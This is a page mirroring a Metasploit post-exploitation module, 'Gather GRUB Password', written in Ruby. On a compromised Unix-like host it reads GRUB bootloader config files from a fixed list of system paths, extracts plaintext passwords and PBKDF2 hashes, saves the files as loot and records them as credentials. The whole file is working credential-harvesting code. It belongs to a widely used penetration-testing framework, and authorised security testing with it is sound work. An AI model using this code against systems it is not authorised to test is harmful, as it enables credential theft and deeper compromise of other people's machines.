Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/grub_creds.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gather GRUB Password',
15
'Description' => %q{
16
This module gathers GRUB passwords from GRUB bootloader config files.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Garvit Dewan <d.garvit[at]gmail.com>', # @dgarvit
21
'Taeber Rapczak <taeber[at]rapczak.com>',
22
'Shelby Pace'
23
],
24
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
25
'SessionTypes' => ['meterpreter', 'shell'],
26
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ],
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'SideEffects' => [],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options(
36
[
37
OptString.new(
38
'FILENAME',
39
[false, 'Additional grub configuration filename.', '']
40
),
41
]
42
)
43
end
44
45
def parse_passwd_from_file(file)
46
return unless readable?(file)
47
48
print_status("Reading #{file}")
49
50
idx = 0
51
contents = read_file(file)
52
have_pass = false
53
contents.each_line do |line|
54
next unless line.start_with?('password')
55
56
have_pass = true
57
pass_line = line.strip.split(' ')
58
unless pass_line.length == 3
59
print_status('Unknown Grub password convention. Printing line')
60
print_status(line)
61
next
62
end
63
64
convention = pass_line[0]
65
case convention
66
when 'password_pbkdf2'
67
@creds_hash[pass_line[1]] = pass_line[2]
68
when 'password'
69
if pass_line[1].start_with?('--')
70
@pass_hash[idx] = pass_line[2]
71
idx += 1
72
else
73
@creds_hash[pass_line[1]] = pass_line[2]
74
end
75
else
76
print_status('Unknown Grub password convention. Printing line')
77
print_status(line)
78
end
79
end
80
81
if have_pass
82
file_loc = store_loot('grub.config', 'text/plain', session, contents)
83
print_good("#{file} saved to #{file_loc}")
84
end
85
end
86
87
def run
88
@creds_hash = Hash.new
89
@pass_hash = Hash.new
90
91
targets = %w[
92
/boot/grub/grub.conf
93
/boot/grub/grub.cfg
94
/boot/grub/menu.lst
95
/boot/grub2/grub.cfg
96
/boot/grub2/user.cfg
97
/etc/grub.conf
98
/etc/grub/grub.cfg
99
/mnt/sysimage/boot/grub.conf
100
/mnt/boot/grub/grub.conf
101
/rpool/boot/grub/grub.cfg
102
]
103
104
targets << datastore['FILENAME'] unless datastore['FILENAME'].empty?
105
dir('/etc/grub.d').each do |file|
106
path = '/etc/grub.d/' + file
107
targets << path if file?(path)
108
end
109
110
print_status('Searching for GRUB config files..')
111
targets.each do |target|
112
parse_passwd_from_file(target)
113
end
114
115
if @creds_hash.empty? && @pass_hash.empty?
116
print_bad('No passwords found in GRUB config files')
117
else
118
print_good('Found credentials')
119
120
cred_table = Rex::Text::Table.new(
121
'Header' => 'Grub Credential Table',
122
'Indent' => 1,
123
'Columns' => [ 'Username', 'Password' ]
124
)
125
126
@creds_hash.each do |user, pass|
127
credential_data = {
128
origin_type: :session,
129
post_reference_name: refname,
130
private_type: :nonreplayable_hash,
131
private_data: pass,
132
session_id: session_db_id,
133
username: user,
134
workspace_id: myworkspace_id
135
}
136
137
cred_table << [ user, pass ]
138
create_credential(credential_data)
139
end
140
141
@pass_hash.each_value do |pass|
142
credential_data = {
143
origin_type: :session,
144
post_reference_name: refname,
145
private_type: :nonreplayable_hash,
146
private_data: pass,
147
session_id: session_db_id,
148
username: '',
149
workspace_id: myworkspace_id
150
}
151
152
cred_table << [ '', pass ]
153
create_credential(credential_data)
154
end
155
156
print_line
157
print_line(cred_table.to_s)
158
end
159
end
160
end
161
162